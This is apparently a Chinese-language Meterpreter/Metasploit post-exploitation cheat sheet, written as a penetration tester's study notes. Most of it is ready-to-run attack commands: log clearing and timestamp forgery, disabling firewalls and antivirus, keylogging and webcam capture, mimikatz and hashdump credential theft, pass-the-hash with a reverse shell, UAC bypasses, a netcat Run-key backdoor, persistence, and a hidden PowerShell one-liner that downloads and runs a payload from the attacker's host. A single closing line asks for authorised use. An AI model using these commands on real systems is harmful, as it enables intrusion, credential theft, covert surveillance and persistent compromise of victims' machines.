meterpreter学习笔记
字数 5381 2025-08-26 22:11:51
Meterpreter 渗透测试工具全面指南
0x00 前言
Meterpreter 是 Metasploit 框架中的一个扩展模块,作为后渗透阶段的利器,提供了强大的功能集。本指南将详细介绍 Meterpreter 的各种命令和功能,帮助渗透测试人员有效利用这一工具。
0x01 系统命令
基本系统命令
background: 将当前会话放置后台sessions: 查看会话列表sessions -i <ID值>: 进入指定会话sessions -k <ID值>: 杀死指定会话
bgrun/run: 执行已有模块info: 查看模块信息getuid: 查看当前用户身份getprivs: 查看当前用户权限getpid: 获取当前进程IDsysinfo: 查看系统信息irb: 开启ruby终端ps: 查看运行进程kill <PID值>: 杀死指定进程idletime: 查看目标机闲置时间reboot/shutdown: 重启/关机shell: 进入目标机cmd shell
常用cmd命令
whoami: 查看当前权限quser: 查询当前在线管理员net user: 查看用户列表net user 用户名 密码 /add: 添加用户net localgroup 用户组名 用户名 /add: 添加用户到组netstat -ano: 查看网络连接状态systeminfo: 查看系统详细信息tasklist /svc: 查看进程对应服务taskkill /f /im 程序名称: 结束指定程序taskkill /f /PID ID: 结束指定PID进程logoff: 注销用户netsh advfirewall set allprofiles state off: 关闭防火墙
uictl开关键盘/鼠标
uictl [enable/disable] [keyboard/mouse/all]: 控制输入设备uictl disable mouse: 禁用鼠标uictl disable keyboard: 禁用键盘
execute执行文件
execute -H -i -f cmd.exe: 创建隐藏交互式cmd进程execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt": 伪装执行payload
migrate进程迁移
getpid: 获取当前PIDps: 查看活跃进程migrate <pid值>: 迁移到指定进程kill <pid值>: 杀死进程
clearav清除日志
clearav: 清除Windows应用程序、系统和安全日志
0x02 文件系统命令
基本文件系统命令
ls: 列出文件cd: 切换目录getwd/pwd: 查看当前目录search -d c:\\ -f *.txt: 搜索文件cat c:\\123.txt: 查看文件内容upload /tmp/hack.txt C:\\: 上传文件download c:\\123.txt /tmp/: 下载文件edit c:\\test.txt: 编辑/创建文件rm C:\\hack.txt: 删除文件mkdir admin: 创建目录rmdir admin: 删除目录getlwd/lpwd: 查看本地当前目录lcd /tmp: 切换本地目录
timestomp伪造时间戳
timestomp C:\\ -h: 查看帮助timestomp -v C:\\2.txt: 查看时间戳timestomp C:\\2.txt -f C:\\1.txt: 复制时间戳timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v: 设置统一时间
0x03 网络命令
基本网络命令
ipconfig/ifconfig: 查看网络接口netstat –ano: 查看网络连接arp: 查看ARP表getproxy: 查看代理信息route: 查看路由表
portfwd端口转发
portfwd add -l 1111 -p 3389 -r 127.0.0.1: 转发3389到本地1111rdesktop 127.0.0.1:1111: 连接远程桌面rdesktop -u Administrator -p 123 127.0.0.1:1111: 带认证连接
autoroute添加路由
run autoroute -h: 查看帮助run get_local_subnets: 查看内网网段run autoroute -s 192.168.183.0/24: 添加路由run autoroute -p: 查看路由
扫描工具
run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24: ARP扫描run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389: 端口扫描
Socks代理
- 添加路由后设置代理:
use auxiliary/server/socks4a set srvhost 127.0.0.1 set srvport 2000 run - 配置
/etc/proxychains.conf - 使用代理扫描:
proxychains nmap -sV -p 445 --script=smb-vuln-ms17-010.nse 192.168.183.146proxychains hydra 192.168.183.146 rdp -l administrator -P password.txt -V
0x04 信息收集
常用脚本
run arp_scanner -r 192.168.183.1/24: ARP存活扫描run winenum: 自动化检测run credcollect: 获取用户hashrun domain_list_gen: 获取域账户列表run post/multi/gather/env: 获取环境变量run post/windows/gather/enum_logged_on_users -c: 列出登录用户run post/linux/gather/checkvm: 检测虚拟机run post/windows/gather/forensics/enum_drives: 查看存储信息run post/windows/gather/enum_applications: 获取安装软件run post/windows/gather/dumplinks: 获取最近文档run post/windows/gather/enum_ie: 获取IE缓存run post/windows/gather/enum_firefox: 获取Firefox缓存run post/windows/gather/enum_chrome: 获取Chrome缓存run post/multi/recon/local_exploit_suggester: 本地提权漏洞run post/windows/gather/enum_patches: 获取补丁信息run post/windows/gather/enum_domain: 查找域控run post/windows/gather/enum_snmp: 获取SNMP团体名run post/windows/gather/credentials/vnc: 获取VNC密码run post/windows/wlan/wlan_profile: 读取WiFi密码run post/multi/gather/wlan_geolocate: 基于WLAN定位run post/windows/manage/killav: 关闭杀毒软件
常用破解模块
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous
键盘记录
keyscan_start: 开始记录keyscan_dump: 导出数据keyscan_stop: 停止记录
sniffer抓包
use sniffersniffer_interfaces: 查看网卡sniffer_start 1: 开始抓包sniffer_stats 1: 查看状态sniffer_dump 1 /tmp/wlan1.pcap: 导出数据sniffer_stop 1: 停止抓包sniffer_release 1: 释放流量
窃取令牌
steal_token <pid值>: 窃取tokendrop_token: 停止假冒token
网络摄像头
record_mic: 音频录制webcam_chat: 视频聊天(有弹窗)webcam_list: 查看摄像头webcam_snap: 拍照webcam_stream: 视频监控(网页形式)
截屏
screenshot: 截屏use espia: 使用espia模块screengrab: 截屏
0x05 提权
getsystem提权
getsystem: 自动尝试各种提权技术
本地漏洞提权
getuid查看权限run post/windows/gather/enum_patches查看补丁- 搜索可用exploit:
background search MS10-015 use exploit/windows/local/ms10_015_kitrap0d set session 8 run
绕过UAC提权
可用模块:
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs
使用方法:
use exploit/windows/local/bypassuac
set session 1
run
使用RunAs提权
use exploit/windows/local/ask
set filename update.exe
set session 1
run
注意:需进行免杀处理
假冒令牌提权
use incognito: 加载模块list_tokens -u: 查看可用令牌list_tokens -g: 查看组令牌impersonate_token 'NT AUTHORITY\SYSTEM': 假冒SYSTEMrev2self: 返回原始token
利用AlwaysInstallElevated提权
-
检查注册表:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated需两个键值都为1
-
生成MSI:
msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi -
上传执行:
upload msi.msi c:\\Users\\test msiexec /quiet /qn /i msi.msi net localgroup administrators
注意:需做好免杀
0x06 窃取hash及密码&哈希传递
窃取hash及密码
hashdump: 获取hashrun post/windows/gather/smart_hashdump: 智能获取hash
mimikatz
load mimikatz: 加载模块msv: 获取用户和hashkerberos: 获取明文密码wdigest: 获取明文密码mimikatz_command -f a::: 显示正确模块mimikatz_command -f sekurlsa::searchPasswords: 获取密码mimikatz_command -f samdump::hashes: 获取hash
kiwi
需要SYSTEM权限:
load kiwi
creds_all
哈希传递
使用psexec模块(需SMB服务和Admin$访问):
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf**4ee:3db**678
set SMBDOMAIN WORKGROUP
run
0x07 RDP
开启3389
getgui命令
run getgui –h: 查看帮助run getgui -e: 开启远程桌面run getgui -u admin -p admin: 添加用户run getgui -f 6666 -e: 端口转发
enable_rdp脚本
run post/windows/manage/enable_rdp
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667
远程桌面
enumdesktops: 查看可用桌面getdesktop: 获取当前桌面setdesktop: 设置关联桌面run vnc: VNC连接rdesktop 127.0.0.1:1111: 连接RDPrdesktop -u Administrator -p 123 127.0.0.1:1111: 带认证连接
0x08 注册表操作
注册表基本命令
reg –h: 查看帮助reg enumkey [-k <key>]: 枚举注册表reg createkey [-k <key>]: 创建项reg deletekey [-k <key>]: 删除项reg setval [-k <key> -v <val> -d <data>]: 设置值reg deleteval [-k <key> -v <val>]: 删除值reg queryval [-k <key> -v <val>]: 查询值
利用注册表添加nc后门
-
上传nc:
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 -
设置注册表:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc -
设置防火墙:
shell netsh firewall show opmode netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL -
重启后连接:
nc -nv 目标IP 443
0x09 后门植入
Persistence(通过启动项安装)
run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32
-X: 系统启动自启(HKLM)-U: 用户登录自启(HKCU)-L: 后门存放位置
Metsvc(通过服务安装)
run metsvc -A
run metsvc -r
连接:
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set rhost 192.168.183.169
set lport 31337
run
Powershell后门
use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 2334
set srvport 2333
set uripath /
set target 5
run
目标执行:
powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.183.147:2333/', $z); invoke-item $z
总结
本指南全面介绍了Meterpreter的各种功能和命令,从基本系统操作到高级后渗透技术。熟练掌握这些技术可以大大提高渗透测试的效率,但请务必在合法授权范围内使用这些技术。